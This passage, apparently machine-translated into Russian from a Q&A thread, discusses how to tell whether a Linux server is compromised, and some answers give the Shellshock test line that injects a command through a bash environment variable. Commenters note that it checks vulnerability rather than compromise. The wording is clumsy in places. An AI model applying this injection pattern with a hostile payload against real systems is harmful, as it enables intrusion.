Очевидно, что эти инструменты должны быть установлены и настроены до того, как система будет взломана, и эти инструменты также могут быть целевыми, если ваша система успешно взломана для получения root-доступа. Кроме того, эти инструменты могут быть очень интенсивными и замедлять работу вашей системы.


2

Единственный способ узнать, скомпрометирован ли ваш сервер, - это иметь где-нибудь подпись ваших файлов и сравнивать текущие файлы с ней. Тем не менее вы можете увидеть, если вы уязвимы.

  1. ты не можешь Разумно предположить, что если ваша машина действительно скомпрометирована, ваши обычные инструменты мониторинга (ps, top, lsof, ...) были заменены аналогичными инструментами, вывод которых выглядит нормально, скрывая подозрительную активность.
  2. нет. может быть в любой папке с исполняемыми файлами.
  3. любые исполняемые файлы или сценарии (бинарный файл ELF, сценарий .shell, ...), включая обычные инструменты мониторинга

-3

Как найти, если ваша коробка Linux скомпрометирована.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Если, если возвращается

vulnerable
this is a test

ты.

Чтобы запустить обновление, под root запустите следующую команду

sudo yum update bash

16
-1 Эта проверка, если bash уязвим, а не был ли он фактически скомпрометирован.
Calimo

1
Также предполагается, что вы работаете, yumа не другой менеджер пакетов.
DavidG

-3

Вы можете проверить уязвимость, выполнив следующие команды (код, предоставленный CSA). Откройте окно терминала и введите в командной строке следующую команду:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Если ваш bash НЕ обновлен, он напечатает:

vulnerable
this is a test

Если ваш bash обновлен, вы увидите только:

this is a test

Более подробная информация доступна по этой ссылке .


1
Вопрос был в том, чтобы обнаружить, что сервер был взломан , а не уязвим
Gareth

пожалуйста, прочитайте другие ответы, прежде чем публиковать ответы, очень похожие на ответы с низким баллом, потому что они НЕ отвечают на вопрос.
Ману Н,
Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.